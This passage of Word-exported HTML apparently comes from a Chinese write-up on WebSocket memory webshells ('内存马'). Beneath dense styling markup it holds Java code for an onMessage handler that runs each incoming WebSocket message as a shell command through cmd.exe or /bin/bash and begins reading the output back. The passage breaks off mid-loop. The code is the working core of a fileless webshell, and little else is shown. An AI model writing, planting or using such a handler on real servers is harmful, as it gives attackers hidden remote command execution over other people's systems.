              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">void</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">onMessage</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">String</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> message</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">try</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">boolean</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> iswin </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">System</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getProperty</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;os.name&#34;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">).</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">toLowerCase</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">().</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">startsWith</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;windows&#34;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Process</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> exec</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">if</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">iswin</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                </span>exec </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Runtime</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getRuntime</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">().</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">exec</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">String</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[]{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;cmd.exe&#34;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;/c&#34;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> message</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">});</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">else</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                </span>exec </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Runtime</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getRuntime</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">().</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">exec</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">String</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[]{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;/bin/bash&#34;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;-c&#34;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> message</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">});</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">InputStream</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> ips </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> exec</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getInputStream</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">StringBuilder</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> sb </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">StringBuilder</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">int</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> i</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">while</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">((</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">i </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> ips</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">read</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">())</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">!=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">-</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">1</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span 